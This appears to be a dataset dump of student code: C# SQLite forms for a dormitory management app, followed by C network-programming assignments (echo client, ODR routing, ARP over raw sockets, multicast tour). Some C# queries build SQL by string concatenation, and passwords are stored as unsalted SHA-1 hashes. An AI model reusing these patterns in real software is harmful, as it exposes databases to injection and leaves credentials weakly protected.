connectionString = @"Data Source = database.db"; } private void AddStudent_FormClosing(object sender, FormClosingEventArgs e) { Form1 f1 = new Form1(); f1.Show(); Visible = false; } private void addBtn_Click(object sender, EventArgs e) { if (firstNameTextBox.Text == "" || LastNameTextBox.Text == "" || comboBox1.Text == "" || comboBox2.Text == "" || (radioButton1.Checked ==false && radioButton2.Checked == false)) { MessageBox.Show("Niste unijeli sve podatke"); } else { try { using (SQLiteConnection con = new SQLiteConnection(connectionString)) { SQLiteCommand cmd = new SQLiteCommand(); cmd.CommandText = @"INSERT INTO student (Ime, Prezime, Godiste, Pol, Fakultet, GodinaStudija) VALUES (@name, @surname, @dateofbirth, @gender, @fakulty, @year)"; cmd.Connection = con; cmd.Parameters.Add(new SQLiteParameter("@name", firstNameTextBox.Text)); cmd.Parameters.Add(new SQLiteParameter("@surname", LastNameTextBox.Text)); cmd.Parameters.Add(new SQLiteParameter("@dateofbirth", dateTimePicker1.Text)); if (radioButton1.Checked) { cmd.Parameters.Add(new SQLiteParameter("@gender", radioButton1.Text)); } else if (radioButton2.Checked) { cmd.Parameters.Add(new SQLiteParameter("@gender", radioButton2.Text)); } cmd.Parameters.Add(new SQLiteParameter("@fakulty", comboBox1.Text)); cmd.Parameters.Add(new SQLiteParameter("@year", comboBox2.Text)); con.Open(); int i = cmd.ExecuteNonQuery(); if (i == 0) { MessageBox.Show("Created"); } MessageBox.Show("Dodali ste studenta " + firstNameTextBox.Text + " " + LastNameTextBox.Text); firstNameTextBox.Text = ""; LastNameTextBox.Text = ""; comboBox1.SelectedIndex = -1; comboBox2.SelectedIndex = -1; radioButton1.Checked = false; radioButton2.Checked = false; dateTimePicker1.Value = new DateTime(1993, 04, 16); con.Close(); } } catch (Exception ex) { MessageBox.Show(ex.Message); } } } private void panel1_Paint(object sender, PaintEventArgs e) { } private void AddStudent_Load(object sender, EventArgs e) { dateTimePicker1.MaxDate = DateTime.Now; dateTimePicker1.Value = new DateTime(1993, 04, 16); } } } <file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace StudentskiDom { class Employee { public Employee(string firstName, string lastName, string dateOfBirth, string position, string username, string password) { FirstName = firstName; LastName = lastName; DateOfBirth = dateOfBirth; Position = position; Username = username; Password = <PASSWORD>; } public string FirstName { get; set; } public string LastName { get; set; } public string DateOfBirth { get; set; } public string Position { get; set; } public string Username { get; set; } public string Password { get; set; } } } <file_sep>using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Data.SQLite; using System.Windows.Forms; namespace StudentskiDom { public partial class Remove_Student_or_Employee : Form { string connectionString = @"Data Source = database.db"; public Remove_Student_or_Employee() { InitializeComponent(); } private void comboBox1_SelectedIndexChanged(object sender, EventArgs e) { comboBox2.Items.Clear(); comboBox2.SelectedIndex = -1; comboBox2.Enabled = true; if (comboBox1.SelectedItem.ToString() == "Student") { chooseLabel.Text = "Spisak studenata"; using (SQLiteConnection con = new SQLiteConnection(connectionString)) { con.Open(); string stm = "SELECT * FROM student"; using (SQLiteCommand cmd = new SQLiteCommand(stm, con)) { using (SQLiteDataReader rdr = cmd.ExecuteReader()) { while (rdr.Read()) { if (rdr["Soba"].ToString() == "") { comboBox2.Items.Add(rdr["Id"].ToString() + " " + rdr["Ime"].ToString() + " " + rdr["Prezime"].ToString()); } } } } con.Close(); } } else if (comboBox1.SelectedItem.ToString() == "Zaposleni") { chooseLabel.Text = "Spisak zaposlenih"; using (SQLiteConnection con = new SQLiteConnection(connectionString)) { con.Open(); string stm = "SELECT * FROM zaposleni"; using (SQLiteCommand cmd = new SQLiteCommand(stm, con)) { using (SQLiteDataReader rdr = cmd.ExecuteReader()) { while (rdr.Read()) { comboBox2.Items.Add(rdr["Ime"].ToString() + " " + rdr["Prezime"].ToString()); } } } con.Close(); } comboBox2.Items.Remove(Login.ulogovaniImePrezime); } } private void Remove_Student_or_Employee_FormClosing(object sender, FormClosingEventArgs e) { Form1 f1 = new Form1(); f1.Show(); Visible = false; } private void button1_Click(object sender, EventArgs e) { string connectionString = @"Data Source = database.db"; if (comboBox1.SelectedIndex == 0) { try { string[] idStudenta = comboBox2.Text.Split(' ', '\t'); using (SQLiteConnection con = new SQLiteConnection(connectionString)) { SQLiteCommand cmd = new SQLiteCommand(); cmd.CommandText = "DELETE FROM student WHERE student.Id = " + idStudenta[0]; cmd.Connection = con; con.Open(); int i = cmd.ExecuteNonQuery(); if (i == 1) { MessageBox.Show("Uspjesno uklonjen student " + idStudenta[1] + " " + idStudenta[2]); } comboBox2.SelectedIndex = -1; comboBox2.Items.Remove(idStudenta[0]+" "+ idStudenta[1] + " "+ idStudenta[2]); } } catch (Exception ex) { MessageBox.Show(ex.Message); } } else if (comboBox1.SelectedIndex == 1) { try { string[] zaposlenik = comboBox2.Text.Split(' ', '\t'); using (SQLiteConnection con = new SQLiteConnection(connectionString)) { SQLiteCommand cmd = new SQLiteCommand(); cmd.CommandText = "DELETE FROM zaposleni WHERE zaposleni.Ime = \'" + zaposlenik[0] + "\' AND zaposleni.Prezime = \'" + zaposlenik[1]+"\'"; cmd.Connection = con; con.Open(); int i = cmd.ExecuteNonQuery(); if (i == 1) { MessageBox.Show("Uspjesno uklonjen zaposleni " + zaposlenik[0] + " " + zaposlenik[1]); } comboBox2.SelectedIndex = -1; comboBox2.Items.Remove(zaposlenik[0] + " " + zaposlenik[1]); } } catch (Exception ex) { MessageBox.Show(ex.Message); } } comboBox2.SelectedIndex = -1; } private void comboBox2_SelectedIndexChanged(object sender, EventArgs e) { if(comboBox2.SelectedIndex == -1) button1.Enabled = false; else button1.Enabled = true; } } } <file_sep>using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; using System.Data.SQLite; using System.IO; namespace StudentskiDom { public partial class Warning : Form { public static string warn = ""; string connectionString = @"Data Source = database.db"; public Warning() { InitializeComponent(); warningTextBox.Text = Form1.opomena; } private void button1_Click(object sender, EventArgs e) { string connectionString = @"Data Source = database.db"; try { ; using (SQLiteConnection con = new SQLiteConnection(connectionString)) { SQLiteCommand cmd = new SQLiteCommand(); cmd.CommandText = "UPDATE student SET Opomena = @warn WHERE Id=" + Form1.warningStudId; cmd.Connection = con; cmd.Parameters.Add(new SQLiteParameter("@warn", warningTextBox.Text)); con.Open(); int i = cmd.ExecuteNonQuery(); if (i == 1) { MessageBox.Show("Uspjesno dodana opomena studentu"); } } } catch (Exception ex) { MessageBox.Show(ex.Message); } } private void Warning_FormClosing(object sender, FormClosingEventArgs e) { } private void button2_Click(object sender, EventArgs e) { warningTextBox.Text = Form1.opomena; } } } <file_sep>using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; using System.Threading; using System.Data.SQLite; using System.IO; using System.Security.Cryptography; namespace StudentskiDom { public partial class AddEmployee : Form { List<Employee> employeeList = new List<Employee>(); List<string> usernameList = new List<string>(); string connectionString; public AddEmployee() { InitializeComponent(); connectionString = @"Data Source = database.db"; Database baza = new Database(); using (SQLiteConnection con = new SQLiteConnection(connectionString)) { con.Open(); string stm = "SELECT * FROM zaposleni"; using (SQLiteCommand cmd = new SQLiteCommand(stm, con)) { using (SQLiteDataReader rdr = cmd.ExecuteReader()) { while (rdr.Read()) { Employee emplo = new Employee(rdr["Ime"].ToString(), rdr["Prezime"].ToString(), rdr["Godiste"].ToString(), rdr["Pozicija"].ToString(), rdr["Username"].ToString(), rdr["Password"].ToString()); employeeList.Add(emplo); usernameList.Add(rdr["Username"].ToString()); } } } con.Close(); } } private void addBtn_Click(object sender, EventArgs e) { if (firstNameTextBox.Text == "" || LastNameTextBox.Text == "" || textBox1.Text == "" || passTextBox.Text == "" || confPassTextBox.Text == "" || (radioButton1.Checked == false && radioButton2.Checked == false && radioButton3.Checked == false)) { MessageBox.Show("Niste unijeli sve podatke"); } else { if(usernameList.Contains(textBox1.Text)) { MessageBox.Show("To korisnicko ime je vec zauzeto!"); } else { if (passTextBox.Text != confPassTextBox.Text) { MessageBox.Show("Sifra i ponovljena sifra se ne poklapaju!"); } else { if (passTextBox.Text.Any(char.IsDigit) && passTextBox.Text.Any(char.IsUpper) && passTextBox.Text.Length > 7) { try { using (SQLiteConnection con = new SQLiteConnection(connectionString)) { con.Open(); SQLiteCommand cmd = new SQLiteCommand(); cmd.CommandText = @"INSERT INTO zaposleni (Ime, Prezime, Godiste, Pozicija, Username, Password) VALUES (@name, @surname, @dateofbirth, @position, @username, @password)"; cmd.Connection = con; cmd.Parameters.Add(new SQLiteParameter("@name", firstNameTextBox.Text)); cmd.Parameters.Add(new SQLiteParameter("@surname", LastNameTextBox.Text)); cmd.Parameters.Add(new SQLiteParameter("@dateofbirth", dateTimePicker1.Text)); if (radioButton1.Checked) { cmd.Parameters.Add(new SQLiteParameter("@position", radioButton1.Text)); } else if (radioButton2.Checked) { cmd.Parameters.Add(new SQLiteParameter("@position", radioButton2.Text)); } else if (radioButton3.Checked) { cmd.Parameters.Add(new SQLiteParameter("@position", radioButton3.Text)); } cmd.Parameters.Add(new SQLiteParameter("@username", textBox1.Text)); cmd.Parameters.Add(new SQLiteParameter("@password", getSHA1(passTextBox.Text))); int i = cmd.ExecuteNonQuery(); if (i == 0) { MessageBox.Show("Created"); } MessageBox.Show("Dodali ste zaposlenog " + firstNameTextBox.Text + " " + LastNameTextBox.Text); usernameList.Add(textBox1.Text); con.Close(); firstNameTextBox.Text = ""; LastNameTextBox.Text = ""; textBox1.Text = ""; passTextBox.Text = ""; confPassTextBox.Text = ""; radioButton1.Checked = false; radioButton2.Checked = false; radioButton3.Checked = false; dateTimePicker1.Value = new DateTime(1993, 04, 16); } } catch (Exception ex) { MessageBox.Show(ex.Message); } } else { MessageBox.Show("Password mora imati bar 8 karaktera, jedno veliko slovo i jedan broj!"); } } } } } private void AddEmployee_FormClosing(object sender, FormClosingEventArgs e) { Form1 f1 = new Form1(); f1.Show(); Visible = false; } public string getSHA1(string text) { SHA1CryptoServiceProvider sh = new SHA1CryptoServiceProvider(); sh.ComputeHash(ASCIIEncoding.ASCII.GetBytes(text)); byte[] re = sh.Hash; StringBuilder sb = new StringBuilder(); foreach (byte b in re) { sb.Append(b.ToString("x2")); } return sb.ToString(); } private void AddEmployee_Load(object sender, EventArgs e) { dateTimePicker1.MaxDate = DateTime.Now; dateTimePicker1.Value = new DateTime(1993, 04, 16); } } }
c9d5606880fa4a095ba877ae022977594eb897ce
[ "C#" ]
9
C#
ffuis-aljosa/2017-IS-Dorm
673248be981d17bc99d70a9ace097d476e153b94
33d4b6555b54e297c37ea86f0f4df50a64109b10
refs/heads/master
<repo_name>ankitsabharwal237/CSE-533-Network-Programming<file_sep>/A1/echo_cli.c #include "unp.h" #include "common.h" static int writefd = -1; static void writeMsgAndExit(char *msg, int status) { char writeBuf[MAXLINE] = "\nEcho Client : "; strcat(strcat(writeBuf, msg), "\n"); Write(writefd, writeBuf, strlen(writeBuf)); exit(status); } static void sig_int(int signo) { writeMsgAndExit("Terminated Successfully", EXIT_SUCCESS); } int main(int argc, char **argv) { char *hostAddr, *msg; char sendBuf[MAXLINE], recvBuf[MAXLINE]; struct sockaddr_in servAddr; int sockfd, len; fd_set readfds; int maxfd; if (argc != 3) { writeMsgAndExit("Invalid Arguments", EXIT_FAILURE); } hostAddr = argv[1]; writefd = atoi(argv[2]); if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) { writeMsgAndExit("socket error", EXIT_FAILURE); } bzero(&servAddr, sizeof(servAddr)); servAddr.sin_family = AF_INET; servAddr.sin_port = htons(ECHO_PORT); if (inet_pton(AF_INET, hostAddr, &servAddr.sin_addr) <= 0) { writeMsgAndExit("inet_pton error", EXIT_FAILURE); } //TODO: Make socket non-blocking if (connect(sockfd, (SA *) &servAddr, sizeof(servAddr)) < 0) { writeMsgAndExit("socket connect error", EXIT_FAILURE); } printf("Client succefully connected to server (%s)\n", hostAddr); if (signal(SIGINT, sig_int) == SIG_ERR) { writeMsgAndExit("signal error", EXIT_FAILURE); } maxfd = sockfd + 1; FD_ZERO(&readfds); while (1) { FD_SET(fileno(stdin), &readfds); FD_SET(sockfd, &readfds); if (select(maxfd, &readfds, NULL, NULL, NULL) < 0) { writeMsgAndExit("select error on stdin and sockfd", EXIT_FAILURE); } if (FD_ISSET(fileno(stdin), &readfds)) { if (Fgets(sendBuf, MAXLINE, stdin) != NULL) { len = strlen(sendBuf); if (writen(sockfd, sendBuf, len) != len) { writeMsgAndExit("writen error", EXIT_FAILURE); } } else { writeMsgAndExit("Terminated Successfully", EXIT_SUCCESS); } } if (FD_ISSET(sockfd, &readfds)) { if (Readline(sockfd, recvBuf, MAXLINE) > 0) { if (fputs(recvBuf, stdout) == EOF) { writeMsgAndExit("fputs stdout error", EXIT_FAILURE); } } else { writeMsgAndExit("Server Crash", EXIT_FAILURE); } } } return 0; } <file_sep>/A3/api.h #ifndef _API_H #define _API_H typedef struct api_data_t { char data[100]; char canonicalIP[100]; int port; int forceRediscovery; } ApiData; void msg_send(int sockfd, char *destIP, int destPort, char *msg, int forceRediscovery); int msg_recv(int sockfd, char *msg, char *srcIP, int *srcPort); void printApiData(ApiData *data); #endif /* !_API_H */ <file_sep>/A3/odr_process.c #include "common.h" #include "odr.h" #include "api.h" static FilePortMap filePortMap[100]; static int filePortMapCnt; static int nextPortNo; static int nextBroadCastID = FIRST_BCAST_ID; int getNextBroadCastID() { return nextBroadCastID++; } void initFilePortMap() { // Save server filePath <-> portNo map getFullPath(filePortMap[0].filePath, SER_FILE, sizeof(filePortMap[0].filePath), FALSE); filePortMap[0].portNo = SER_PORT; filePortMap[0].timestamp = time(NULL); filePortMap[0].isValid = TRUE; filePortMapCnt = 1; nextPortNo = FIRST_CLI_PORTNO; } static int getPortNoByFilePath(char *filePath) { int i; // Check for server port number if (strcmp(filePath, filePortMap[0].filePath) == 0) { return filePortMap[0].portNo; } for (i = 1; i < filePortMapCnt; i++) { if (filePortMap[i].isValid) { if (difftime(time(NULL), filePortMap[i].timestamp) < FP_MAP_STALE_VAL) { if (strcmp(filePath, filePortMap[i].filePath) == 0) { filePortMap[i].timestamp = time(NULL); return filePortMap[i].portNo; } } else { filePortMap[i].isValid = FALSE; break; } } else { break; } } strcpy(filePortMap[i].filePath, filePath); filePortMap[i].portNo = nextPortNo++; filePortMap[i].timestamp = time(NULL); filePortMap[i].isValid = TRUE; if (i == filePortMapCnt) filePortMapCnt++; return filePortMap[i].portNo; } static char* getFilePathByPortNo(int portNo) { int i; for (i = 0; i < filePortMapCnt; i++) { if (filePortMap[i].portNo == portNo) { return filePortMap[i].filePath; } } err_msg("Unknown Port number: %d", portNo); return "unknown_file_path"; } static int readUnixSocket(int sockfd, char *msg, char *destIP, int *destPort, bool *forceRedis, char *srcFile) { struct sockaddr_un sockAddr; ApiData apiData; int len; // Receive data from Client/Server len = sizeof(sockAddr); if (recvfrom(sockfd, &apiData, sizeof(apiData), 0, (SA *) &sockAddr, &len) < 0) { err_msg("Error in receiving Unix Domain packet"); } memcpy(msg, apiData.data, strlen(apiData.data)); msg[strlen(apiData.data)] = '\0'; memcpy(destIP, apiData.canonicalIP, strlen(apiData.canonicalIP)); destIP[strlen(apiData.canonicalIP)] = '\0'; *destPort = apiData.port; *forceRedis = apiData.forceRediscovery; strcpy(srcFile, sockAddr.sun_path); return strlen(msg); } int writeUnixSocket(int sockfd, char *srcIP, int srcPort, int destPort, char *msg) { ApiData apiData; struct sockaddr_un destAddr; char *destFile; memcpy(apiData.data, msg, strlen(msg)); apiData.data[strlen(msg)] = '\0'; memcpy(apiData.canonicalIP, srcIP, strlen(srcIP)); apiData.canonicalIP[strlen(srcIP)] = '\0'; apiData.port = srcPort; apiData.forceRediscovery = FALSE; bzero(&destAddr, sizeof(destAddr)); destAddr.sun_family = AF_LOCAL; strcpy(destAddr.sun_path, getFilePathByPortNo(destPort)); // Send data to Client/Server if (sendto(sockfd, &apiData, sizeof(apiData), 0, (SA *) &destAddr, sizeof(destAddr)) == -1) { err_msg("Error in sending Unix Domain packet"); } } // Return 1 if packet needs to be routed through ODR int processUnixPacket(int sockfd, ODRPacket *packet) { char msg[100], destIP[100], srcFile[1024]; int srcPort, destPort; bool forceRedis; readUnixSocket(sockfd, msg, destIP, &destPort, &forceRedis, srcFile); srcPort = getPortNoByFilePath(srcFile); printf("Packet received on Unix Domain Socket\n"); if (strcmp(destIP, hostIP) == 0) { // Send directly to destPort on local process printf("Sending DATA to %s:%d (local machine)\n", hostIP, destPort); writeUnixSocket(sockfd, hostIP, srcPort, destPort, msg); return 0; } else { packet->type = DATA; strcpy(packet->sourceIP, hostIP); strcpy(packet->destIP, destIP); packet->sourcePort = srcPort; packet->destPort = destPort; packet->hopCount = 1; packet->broadID = 0; packet->Asent = FALSE; packet->forceRedisc = forceRedis; strcpy(packet->data, msg); return 1; } } <file_sep>/A4/arp.c #include "arp.h" static char filePath[1024]; static IA HostIP; static void sig_int(int signo) { unlink(filePath); exit(0); } static int bindAndListenUnixSocket() { struct sockaddr_un sockAddr; int sockfd; sockfd = Socket(AF_LOCAL, SOCK_STREAM, 0); bzero(&sockAddr, sizeof(sockAddr)); sockAddr.sun_family = AF_LOCAL; getFullPath(filePath, ARP_FILE, sizeof(filePath), FALSE); strcpy(sockAddr.sun_path, filePath); unlink(filePath); Bind(sockfd, (SA*) &sockAddr, sizeof(sockAddr)); Listen(sockfd, LISTENQ); return sockfd; } static void printEthernetFrame(EthernetFrame *frame) { printf ("Ethernet frame header =>\n"); printf ("Destination MAC: %s\n", ethAddrNtoP(frame->destMAC)); printf ("Source MAC: %s\n", ethAddrNtoP(frame->srcMAC)); printf("Protocol Number: %x\n", frame->protocol); ARPPacket *packet = &frame->packet; printf ("ARP header =>\n"); printf("Ident Num: %x\t", packet->identNum); printf("HAType: %d\t", packet->hatype); printf("Protocol Num: %x\n", packet->protocol); printf("HALen: %d\t", packet->halen); printf("ProtSize: %d\t", packet->protSize); printf("OPType: %d\n", packet->opType); printf("SrcIP: %s\t", getIPStrByIPAddr(packet->srcIP)); printf("DestIP: %s\n", getIPStrByIPAddr(packet->destIP)); printf("SrcMAC: %s\t", ethAddrNtoP(packet->srcMAC)); printf("DestMAC: %s\n", ethAddrNtoP(packet->destMAC)); } static void sendEthernetPacket(int sockfd, EthernetFrame *frame, int ifindex, uint16_t hatype, uint8_t halen) { struct sockaddr_ll sockAddr; bzero(&sockAddr, sizeof(sockAddr)); sockAddr.sll_family = PF_PACKET; sockAddr.sll_protocol = htons(PROTOCOL_NUMBER); sockAddr.sll_hatype = hatype; sockAddr.sll_pkttype = PACKET_OTHERHOST; sockAddr.sll_halen = halen; sockAddr.sll_ifindex = ifindex; memcpy(sockAddr.sll_addr, GET_DEST_MAC(frame), halen); printf("Sending Ethernet Packet ==>\n"); printEthernetFrame(frame); if (sendto(sockfd, (void *)frame, sizeof(EthernetFrame), 0, (SA *) &sockAddr, sizeof(sockAddr)) == -1) { err_msg("Error in sending Ethernet packet"); } } // Returns interface number on which packet was received static bool recvEthernetPacket(int sockfd, EthernetFrame *frame, struct sockaddr_ll *sockAddr) { int salen = sizeof(struct sockaddr_ll); bzero(sockAddr, salen); bzero(frame, sizeof(EthernetFrame)); if (recvfrom(sockfd, frame, sizeof(EthernetFrame), 0, (SA *) sockAddr, &salen) < 0) { err_msg("Error in receiving Ethernet packet"); return FALSE; } // Check for valid identification Number if (GET_IDENT_NUM(frame) != IDENT_NUMBER) { err_msg("ARP packet with invalid identification number received"); return FALSE; } assert(((GET_OP_TYPE(frame) == REQUEST) || (GET_OP_TYPE(frame) == REPLY)) && "Invalid ARP OP type in Ethernet Frame"); printf("Receving Ethernet Packet ==>\n"); printEthernetFrame(frame); return TRUE; } static void fillARPPacket(ARPPacket *packet, ARPOpType opType, char *srcMAC, char *destMAC, IA srcIP, IA destIP, uint16_t hatype, uint8_t halen) { packet->identNum = IDENT_NUMBER; packet->hatype = hatype; packet->protocol = PROTOCOL_NUMBER; packet->halen = halen; packet->protSize = sizeof(IA); packet->opType = opType; packet->srcIP = srcIP; packet->destIP = destIP; memcpy(packet->srcMAC, srcMAC, halen); memcpy(packet->destMAC, destMAC, halen); } static void fillARPRequestPacket(EthernetFrame *frame, char *srcMAC, IA srcIP, IA destIP, uint16_t hatype, uint8_t halen) { uint8_t broadMAC[] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff}; bzero(frame, sizeof(EthernetFrame)); memcpy(frame->destMAC, broadMAC, halen); memcpy(frame->srcMAC, srcMAC, halen); frame->protocol = htons(PROTOCOL_NUMBER); fillARPPacket(&frame->packet, REQUEST, srcMAC, (char *) broadMAC, srcIP, destIP, hatype, halen); } static void fillARPReplyPacket(EthernetFrame *frame, char *srcMAC, char *destMAC, IA srcIP, IA destIP, uint16_t hatype, uint8_t halen) { bzero(frame, sizeof(EthernetFrame)); memcpy(frame->destMAC, destMAC, halen); memcpy(frame->srcMAC, srcMAC, halen); frame->protocol = htons(PROTOCOL_NUMBER); fillARPPacket(&frame->packet, REPLY, srcMAC, destMAC, srcIP, destIP, hatype, halen); } static char* checkIfDestNodeReached(IA destIPAddr, Eth0AddrPairs *addrPairs, int totalPairs) { int i; for (i = 0; i < totalPairs; i++) { if (isSameIPAddr(destIPAddr, addrPairs[i].ipaddr)) { return addrPairs[i].hwaddr; } } return NULL; } static int processARPPacket(int pfSockFd, EthernetFrame *frame, struct sockaddr_ll *sockAddr, Eth0AddrPairs *addrPairs, int totalPairs) { // ARP Request if (GET_OP_TYPE(frame) == REQUEST) { printf("Processing ARP packet of REQUEST type\n"); char *destHWAddr; if ((destHWAddr = checkIfDestNodeReached(GET_DEST_IP(frame), addrPairs, totalPairs)) != NULL) { // Reached Destination Node, force update Source Node Info printf("\nARP Request Reached Destination Node, sending back ARP REPLY\n"); updateARPCache(GET_SRC_IP(frame), GET_SRC_MAC(frame), sockAddr->sll_ifindex, sockAddr->sll_hatype, 0, TRUE); // Send ARP Reply to source node EthernetFrame replyPacket; fillARPReplyPacket(&replyPacket, destHWAddr, GET_SRC_MAC(frame), GET_DEST_IP(frame), GET_SRC_IP(frame), sockAddr->sll_hatype, sockAddr->sll_halen); sendEthernetPacket(pfSockFd, &replyPacket, sockAddr->sll_ifindex, sockAddr->sll_hatype, sockAddr->sll_halen); } else { // Reached Intermediate Node, update Source Node Info if present updateARPCache(GET_SRC_IP(frame), GET_SRC_MAC(frame), sockAddr->sll_ifindex, sockAddr->sll_hatype, 0, FALSE); } } // ARP Reply else { printf("Processing ARP packet of REPLY type\n"); // Get connfd from cache entry ARPCache *srcEntry = searchARPCache(GET_SRC_IP(frame)); assert(srcEntry && "Valid Partial Cache Entry Expected"); int connfd = srcEntry->connfd; // Send hwaddr to tour writeUnixSocket(connfd, GET_SRC_MAC(frame)); // Update cache with Source Node Info updateARPCache(GET_SRC_IP(frame), GET_SRC_MAC(frame), sockAddr->sll_ifindex, sockAddr->sll_hatype, 0, FALSE); } return GET_OP_TYPE(frame); } static void readAllSockets(int pfSockFd, int listenfd, fd_set fdSet, Eth0AddrPairs *addrPairs, int totalPairs) { fd_set readFdSet; int maxfd, connfd; IA destIPAddr; printf("\nReading all incoming packets =>\n"); connfd = -1; while (1) { printf("\n"); maxfd = max(pfSockFd, listenfd); readFdSet = fdSet; if (connfd != -1) { // Monitor new connfd socket for termination of connection maxfd = max(maxfd, connfd); FD_SET(connfd, &readFdSet); } Select(maxfd + 1, &readFdSet, NULL, NULL, NULL); // Check if got a FIN packet on connfd if (connfd != -1 && FD_ISSET(connfd, &readFdSet)) { // Received a FIN packet, remove partial cache entry printf("Received FIN packet from Tour Unix domain socket\n"); invalidateCache(destIPAddr); close(connfd); connfd = -1; } // Check if got a packet on PF socket else if (FD_ISSET(pfSockFd, &readFdSet)) { EthernetFrame frame; struct sockaddr_ll sockAddr; if (recvEthernetPacket(pfSockFd, &frame, &sockAddr)) { if (processARPPacket(pfSockFd, &frame, &sockAddr, addrPairs, totalPairs) == REPLY) { close(connfd); connfd = -1; } } } // Check if got a packet on an unix domain socket else if (FD_ISSET(listenfd, &readFdSet)) { ARPCache *entry; int ifindex; uint16_t hatype; uint8_t halen; // Accept new connection on unix domain socket connfd = Accept(listenfd, NULL, NULL); readUnixSocket(connfd, &destIPAddr, &ifindex, &hatype, &halen); printf("Processing Packet on Unix Domain Socket\n"); if ((entry = searchARPCache(destIPAddr)) != NULL) { // ARP entry present, send hwaddr to tour printf("ARP Cache entry Present, sending HW addr to Tour process\n"); writeUnixSocket(connfd, entry->hwAddr); close(connfd); connfd = -1; } else { // Update Partial Cache entry updateARPCache(destIPAddr, NULL, ifindex, hatype, connfd, TRUE); printf("ARP Cache entry Absent, sending ARP Request on Eth0 iface\n"); // ARP entry absent, send an ARP request on Eth0 interface EthernetFrame requestPacket; fillARPRequestPacket(&requestPacket, addrPairs[0].hwaddr, addrPairs[0].ipaddr, destIPAddr, hatype, halen); sendEthernetPacket(pfSockFd, &requestPacket, ifindex, hatype, halen); } } } } int main() { Eth0AddrPairs eth0AddrPairs[10] = {0}; int totalPairs, pfSockFd, listenfd; fd_set fdSet; // Get Host IP and MAC addresses HostIP = getIPAddrByVmNode(getHostVmNodeNo()); if ((totalPairs = getEth0IfaceAddrPairs(eth0AddrPairs)) <= 0) { err_quit("No Eth0 interfaces found!"); } printf("ARP running on VM%d (%s)\n", getHostVmNodeNo(), getIPStrByIPAddr(HostIP)); Signal(SIGINT, sig_int); FD_ZERO(&fdSet); // Create PF_PACKET for ARP request/reply packets pfSockFd = Socket(PF_PACKET, SOCK_RAW, htons(PROTOCOL_NUMBER)); FD_SET(pfSockFd, &fdSet); // Bind and listen a TCP Unix Domain socket listenfd = bindAndListenUnixSocket(); FD_SET(listenfd, &fdSet); // Read incoming packets on all sockets readAllSockets(pfSockFd, listenfd, fdSet, eth0AddrPairs, totalPairs); unlink(filePath); close(pfSockFd); close(listenfd); } <file_sep>/A4/api.h #ifndef _API_H #define _API_H #include "utils.h" typedef struct { IA ipaddr; int ifindex; uint16_t hatype; uint8_t halen; } SendToARP; typedef struct { char hwaddr[IF_HADDR]; } ReceiveFromARP; #endif /* !_API_H */ <file_sep>/A4/tour.c #include "tour.h" static IA HostIP; static char HostMAC[IF_HADDR]; static IA MulticastIP; static uint16_t MulticastPort; static struct sockaddr_in GroupSock; static int RTRouteSD, MulticastSD, PingReqSD, PingReplySD; static bool joinedMulticast = FALSE; static void getMulticastInfo() { MulticastIP = getIPAddrByIPStr(MULTICAST_IP); MulticastPort = MULTICAST_PORT; } static void createSockets() { int ok = 1; RTRouteSD = socket(AF_INET, SOCK_RAW, IPPROTO_TOUR); MulticastSD = socket(AF_INET, SOCK_DGRAM, 0); PingReqSD = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_IP)); PingReplySD = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP); if (RTRouteSD < 0) err_quit("Opening RT Route socket error"); else printf("Opening RT Route socket....OK.\n"); if (setsockopt(RTRouteSD, IPPROTO_IP, IP_HDRINCL, &ok, sizeof(ok)) < 0) err_quit("Error in setting Sock option for RT Socket"); if (MulticastSD < 0) err_quit("Opening Multicast datagram socket error"); else printf("Opening Multicast datagram socket....OK.\n"); /* allow multiple sockets to use the same PORT number */ if (setsockopt(MulticastSD, SOL_SOCKET, SO_REUSEADDR, &ok, sizeof(ok)) < 0) err_quit("Reusing ADDR failed"); if (PingReqSD < 0) err_quit("Opening Ping Request socket error"); else printf("Opening Ping Request socket....OK.\n"); if (PingReplySD < 0) err_quit("Opening Ping Reply socket error"); else printf("Opening Ping Reply socket....OK.\n"); } void generateDataPayload(TourPayload *data, IA *IPList, int numNodes) { data->multicastIP = MulticastIP; data->multicastPort = MulticastPort; data->curIndex = 0; memcpy(data->tourList, IPList, (sizeof(IA) * numNodes)); } static void incrementTourIndex(IPPacket *packet) { packet->payload.curIndex++; } static IA getCurTourDestIP(IPPacket *packet) { return packet->payload.tourList[packet->payload.curIndex]; } static int getTourNodeCntByPackSize(int nbytes) { return MAXHOPS - ((sizeof(IPPacket) - nbytes) / sizeof(IA)); } static bool isLastTourNode(IPPacket *packet, int nbytes) { int totalNodes = getTourNodeCntByPackSize(nbytes); int curInd = packet->payload.curIndex; assert((curInd < totalNodes) && "Invalid curInd/totalNodes in tour packet"); if (curInd == (totalNodes - 1)) return TRUE; return FALSE; } static void setMultiCast(IA MulIP, uint16_t MulPort) { if (joinedMulticast == TRUE) { // Already listening on the Listening Socket return; } else { const int reuse = 1; int status; struct group_req group; char interface[] = "ether0"; struct sockaddr_in saddr; struct ip_mreq imreq; unsigned char ttl = 1; unsigned char one = 1; MulticastIP = MulIP; MulticastPort = MulPort; // set content of struct saddr and imreq to zero memset(&saddr, 0, sizeof(struct sockaddr_in)); memset(&imreq, 0, sizeof(struct ip_mreq)); saddr.sin_family = AF_INET; saddr.sin_port = htons(MulPort); saddr.sin_addr.s_addr = htonl(INADDR_ANY); // bind socket to any interface Bind(MulticastSD, (struct sockaddr *)&saddr, sizeof(saddr)); setsockopt(MulticastSD, IPPROTO_IP, IP_MULTICAST_TTL, &ttl, sizeof(unsigned char)); // send multicast traffic to myself too setsockopt(MulticastSD, IPPROTO_IP, IP_MULTICAST_LOOP, &one, sizeof(unsigned char)); /* use setsockopt() to request that the kernel join a multicast group */ saddr.sin_addr = MulIP; // bind socket to any interface imreq.imr_multiaddr = MulticastIP; imreq.imr_interface = HostIP; // use DEFAULT interface // JOIN multicast group on default interface status = setsockopt(MulticastSD, IPPROTO_IP, 